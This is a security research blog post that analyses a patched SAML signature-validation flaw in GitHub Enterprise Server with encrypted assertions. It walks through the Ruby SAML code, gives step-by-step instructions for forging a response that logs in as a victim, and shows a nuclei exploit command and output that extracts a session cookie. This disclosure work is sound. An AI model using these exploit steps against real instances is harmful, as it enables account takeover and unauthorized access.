-

9 min read

GitHub Enterprise SAML Authentication Bypass (CVE-2024-4985 / CVE-2024-9487)

GitHub Enterprise SAML Authentication Bypass (CVE-2024-4985 / CVE-2024-9487)

Introduction

In light of the recent Ruby-SAML bypass discovered in GitLab, we set out to examine the SAML implementation within GitHub Enterprise. During our research, we identified a significant vulnerability that enabled bypassing GitHub’s SAML authentication when encrypted assertions were in use.

This blog post will provide an in-depth look at GitHub Enterprise’s SAML implementation and analyze the specific code issue that permitted this bypass. Although we uncovered this vulnerability independently, it was reported to GitHub just two days prior to our findings. GitHub has since released a patch to address the flaw, though initial fixes required additional updates to be fully effective. This issue is now cataloged under CVE-2024-9487 and CVE-2024-4985.

HIGH: An attacker could bypass SAML single sign-on (SSO) authentication with the optional encrypted assertions feature, allowing unauthorized provisioning of users and access to the instance, by exploiting an improper verification of cryptographic signatures vulnerability in GitHub Enterprise Server. This is a follow up fix for CVE-2024-9487 to further harden the encrypted assertions feature against this type of attack.

Technical Analysis

Let’s see how GitHub handles document extraction, signature validation, and the security measures in place. We’ll spin up a GitHub instance and set up the SAML configuration. In this process, the SAML callback validates the CSRF token (RelayState), which is unique to each state and SAML response. This makes it difficult to test and debug.

To bypass this challenge, we’ll use the Ruby code responsible for SAML handling locally. The SAML implementation resides in ./lib/saml/ (and in ./lib/saml.rb). We’ll patch this library to work in our local environment by:

  • Removing GitHub-specific constants and references without affecting the validation logic.
  • Disabling validate_conditions to bypass time-based verification checks.
  • Using require_relative within ./lib/saml.rb to load the necessary files locally.
  • Finally, requiring ./saml to link the components together.

Let's start with this code to mimic GitHub SAML implementation locally:

ruby

1
require "./saml"
2
require "base64"
3
require 'openssl'
4
5
key = File.open('/tmp/github_saml.pem').read() #Github SAML SP's private key (used here to decypt stuff since we want to mimic the whole flow)
6
7
cert = <<-CERT
8
cert_here
9
CERT
10
11
@props = {
12
:sp_url => "https://[REDACTED_IP_ADDRESS]",
13
:sso_url => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml",
14
:assertion_consumer_service_url => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml",
15
:destination => "https://[REDACTED_OKTA_URL]/app/[REDACTED]/sso/saml",
16
:issuer => "http://www.okta.com/[REDACTED]",
17
:signature_method => "http://www.w3.org/2000/09/xmldsig#rsa-sha1",
18
:digest_method => "http://www.w3.org/2000/09/xmldsig#sha1",
19
:idp_certificate => cert
20
}
21
22
23
key1 = OpenSSL::PKey::RSA.new(key)
24
25
@prop1 = {:encrypted_assertions => true, :encryption_method => "aes-256-cbc", :key_transport_method => "rsa-oaep", :key => key1}
26
27
saml_resp = Base64.encode64(File.open('resp.xml').read())
28
xml = ::SAML::Message::Response.from_param(saml_resp, @prop1) [1]
29
puts "Signature verified: " + String(xml.valid?(@props)) [2]
30
puts "NameID Email - " + xml.name_id

Let’s begin with a sample valid SAML response. Below is a simplified version of the response structure:

html

1
<samlp:Response ID="123">
2
<ds:Signature>
3
<ds:SignedInfo>
4
<ds:Refernce URI="#123"></ds:Refernce>
5
</ds:SignedInfo>
6
</ds:Signature>
7
<saml:EncryptedAssertion>
8
enc assertion here
9
</saml:EncryptedAssertion>
10
</samlp:Response>

When we call from_param it does this:

  • build() – This method extracts signatures before attempting decryption.
    • decrypt() – If the message is encrypted, it decrypts the content.
      • parse() – This method processes the message information, specifically extracting details from the /samlp:Response/saml:Assertion block. Returns Message.

Within Message.rb, the build method performs signature extraction if GitHub encrypted assertions are enabled at point [1]. If no signatures were extracted prior to decryption, the method attempts to extract signatures again after decryption at point [2]. But only if no signatures were extracted earlier.

ruby

1
def self.build(xml, options = {})
2
if GitHub.enterprise? && GitHub.saml_encrypted_assertions?
3
signatures = message_class.signatures(doc) # [1]
4
decrypt_errors = []
5
plain_doc = message_class.decrypt(doc, options, decrypt_errors)
6
signatures = message_class.signatures(plain_doc) if signatures.empty? # [2]
7
...
8
end
9
end

Next step is to decrypt the encrypted assertion and replace that node with the decrypted assertion.

The next step is to duplicate the entire SAML response document. On this duplicated document, we will replace the encrypted assertion with the decrypted version. This results in a SAML response where the encrypted assertion is removed, and the decrypted assertion takes its place in the duplicated document. However, only one signature will be extracted.

html

1
<Response ID="123">
2
<Signature> // [1]
3
4
<SignedInfo>
5
<Refernce URI="#123"></Refernce>
6
</SignedInfo>
7
</Signature>
8
<Assertion ID="789">
9
<Signature> // [2]
10
11
<SignedInfo>
12
<Refernce URI="#789"></Refernce>
13
</SignedInfo>
14
</Signature>
15
</Assertion>
16
</Response>

This is okay since the one signature it has is of whole response so when it validates that signature, it will pass the whole original response (with encrypted assertion) and it would work and pass signature validation as expected. We’ll discuss later how this can create potential issues, but for now, let’s continue following the logical flow. After the decryption step, it returns a Message object containing the decrypted assertions.

GitHub’s valid? function essentially aims to keep the flow error-free. If an error occurs at any point during the process, it is appended to an error variable. Once all the checks are completed, the function inspects the error variable. If it is not empty, the validation fails.

These are the main functions we want to bypass:

  • valid?
    • vaidate_schema()
    • validate()
      • validate_has_signature
        • has_root_sig_and_matching_ref?
        • OR // you need to return true in one
        • all_assertions_signed_with_matching_ref?
      • validate_assertion_digest_values
      • validate_signatures_ghes
        • signatures.all? { |signature| signature.valid?(certificate) }

Let’s examine the validate_has_signature method:

This validation checks if there is a signature outside the assertion block that matches the root (Response) ID. Meaning that the entire response is considered signed, and the function returns true.

However, if no such signature exists, the method ensures that every assertion block within the document contains its own signature. In this case, the signature’s reference must match the parent assertion’s ID. This additional check is crucial to prevent signature wrapping attacks, where an attacker could attempt to insert malicious assertions into the document by manipulating signatures.

ruby

1
# Validate that the SAML message (root XML element of SAML response)
2
# or all contained assertions are signed
3
#
4
# Verification of signatures is done in #validate_signatures
5
def validate_has_signature
6
# Return early if entire response is signed. This prevents individual
7
# assertions from being tampered because any change in the response
8
# would invalidate the entire response.
9
return if has_root_sig_and_matching_ref?
10
return if all_assertions_signed_with_matching_ref?
11
12
self.errors << "SAML Response is not signed or has been modified."
13
end
14
15
16
def has_root_sig_and_matching_ref?
17
return true if SAML.mocked[:mock_root_sig]
18
root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
19
return false unless root_ref
20
root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
21
return false unless root_ref_uri.length > 1
22
root_rep = document.at("/saml2p:Response", namespaces)
23
root_id = String(root_rep["ID"])
24
25
# and finally does the root ref URI match the root ID?
26
root_ref_uri == root_id
27
end
28
29
def all_assertions_signed_with_matching_ref?
30
assertions = document.xpath("//saml2:Assertion", namespaces)
31
assertions.all? do |assertion|
32
ref = assertion.at("./ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
33
return false unless ref
34
assertion_id = String(assertion["ID"])
35
ref_uri = String(String(ref["URI"])[1..-1]) # chop off leading #
36
return false unless ref_uri.length > 1
37
38
ref_uri == assertion_id
39
end
40
end

Next, the validate_assertion_digest_values function ensures that the digest value of each assertion matches the DigestValue found in the reference node of the corresponding signature. This step verifies only digests and not the signature, that step will happen afterwards via the xmldsig library.

Finally, the validate_signatures_ghes function calls .valid? on each signature extracted during the build() process. The library used for this validation is benoist/xmldsig.

The core logic of .valid? is as follows:

  • Find the referenced node for the signature’s URI identifier anywhere in the document (the first occurrence is selected).
  • Transform and calculate the digest.
  • Verify that the calculated digest matches the DigestValue in the reference node.
  • Perform the signature verification.

The issue arises, as mentioned earlier, when a signature is found in the response before decrypting an encrypted assertion. The second signature, inside the assertion block, is not accounted for. Even though assertions are required to have a signature, and the signature reference should point to the assertion’s ID (with the digest being validated), the signature itself is never validated.

Now, if we can somehow bypass both validate_has_signature and validate_assertion_digest_values, we can reach the xmldsig validation.

Here's how we can do that:

  1. Obtain a valid SAMLResponse from the IDP
  2. Modify the Signature node of the Response and add an empty element <ds:Object></ds:Object> just after the </ds:KeyInfo>.
  3. Copy the whole document i.e /samlp:Response and paste it inside <ds:Object>{here}</ds:Object>
  4. Modify the original /samlp:Responses ID attribute to anything different. Here we are making sure both Reference node URI are pointing to the legit Response element with valid signature (that we moved to ds:Object).
  5. Create an Assertion node with respect to the valid schema with victim''s subject/nameid details and calculate the DigestValue of this modified assertion node and update it in its Signature > SignedInfo > Reference > DigestValue. (Remember due to the original vulnerbility the signature of this encrypted assertion is not validated so the rest of the signature node details doesn't matter) - This bypasses validate_has_signatures.
  6. Now, encrypt this Assertion with the GHE SP's public key.
  7. Forward this SAMLResponse and you would be logged in to the victim's account.

html

1
<Response ID="11111111">
2
<Signature>
3
<SignedInfo>
4
<Refernce URI="#123"></Refernce>
5
</SignedInfo>
6
<Object>
7
<Response ID="123">
8
<Signature>
9
10
<SignedInfo>
11
<Refernce URI="#123"></Refernce>
12
</SignedInfo>
13
</Signature>
14
<Assertion ID="789">
15
<Signature>
16
17
<SignedInfo>
18
<Refernce URI="#789"></Refernce>
19
</SignedInfo>
20
</Signature>
21
</Assertion>
22
</Response>
23
</Object>
24
</Signature>
25
---- THIS WILL BE ENCRYPTED ----
26
<Assertion ID="789">
27
<Signature>
28
29
<SignedInfo>
30
<Refernce URI="#789"></Refernce>
31
</SignedInfo>
32
</Signature>
33
</Assertion>
34
---- THIS WILL BE ENCRYPTED ----
35
</Response>
GitHub Enterprise SAML Authentication Bypass command

Proof of Concept (PoC)

We’ve created two Nuclei templates for detecting and exploiting CVE-2024-9487 on GitHub Enterprise:

1. GitHub Enterprise - SAML (Encrypted) Detection

This template detects GitHub Enterprise Server using SAML authentication with encrypted assertions enabled.

Nuclei Template Link

2. GitHub Enterprise - SAML Authentication Bypass

This template bypass GitHub SAML authentication and extract the GitHub session cookie.

To run the CVE-2024-9487 template, use the following command, adjusting the inputs as needed:

bash

1
nuclei -t CVE-2024-9487.yaml -u https://git.projectdiscovery.io -var username='victim@github.com' -var metadata_url='https://git.projectdiscovery.io/sso/saml/metadata' -var SAMLResponse=`cat saml_response.txt` -var RelayState='xyz' -code

Input Options:

-var username: Target GitHub user’s email (e.g., victim@github.com).

-var metadata_url: SAML metadata URL of the IDP server.

-var SAMLResponse: Encrypted SAML response sent by the Identity Provider (IdP) after a login attempt. You can capture this value by starting a login on the target GitHub server and using browser developer tools (Network tab) or tools like Burp Suite to find SAMLResponse in the network requests. Save it in a file (e.g., saml_response.txt) to load easily.

-var RelayState: This is a unique value sent with SAMLResponse to maintain the session context. You can find the exact RelayState by observing it in your login request traffic, as shown in the video PoC.

bash

1
nuclei -t CVE-2024-9487.yaml -u https://git.projectdiscovery.io -var username='admin@projectdiscovery.i' -var metadata_url='https://idp.projectdiscovery.io/sso/saml/metadata' -var SAMLResponse=`cat saml_response.txt` -var RelayState='xyz' -code
2
3
__ _
4
____ __ _______/ /__ (_)
5
/ __ \/ / / / ___/ / _ \/ /
6
/ / / / /_/ / /__/ / __/ /
7
/_/ /_/\__,_/\___/_/\___/_/ v3.3.4
8
9
projectdiscovery.io
10
11
[INF] Current nuclei version: v3.3.4 (latest)
12
[INF] Current nuclei-templates version: v10.0.2 (latest)
13
[WRN] Scan results upload to cloud is disabled.
14
[INF] New templates added in latest release: 68
15
[INF] Templates loaded for current scan:
16
[INF] Targets loaded for current scan: 1
17
[CVE-2024-9487] [http] [critical] https://git.projectdiscovery.io/saml/consume ["cookie-l-redacted"]

We’ve also recorded a video demonstrating the SAML authentication bypass on GitHub when encrypted assertions are enabled, showcasing the step-by-step process and impact.

Conclusion

In this blog post, we explored the GitHub Enterprise implementation of SAML authentication and uncovered a vulnerability involving encrypted assertions. By understanding the intricacies of signature validation and how improperly handled encrypted assertions can introduce security risks, we demonstrated how an attacker could potentially bypass GitHub’s SAML authentication.

As always, staying vigilant and promptly applying security updates is critical to safeguarding on-prem environments.


By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.

Related stories

View all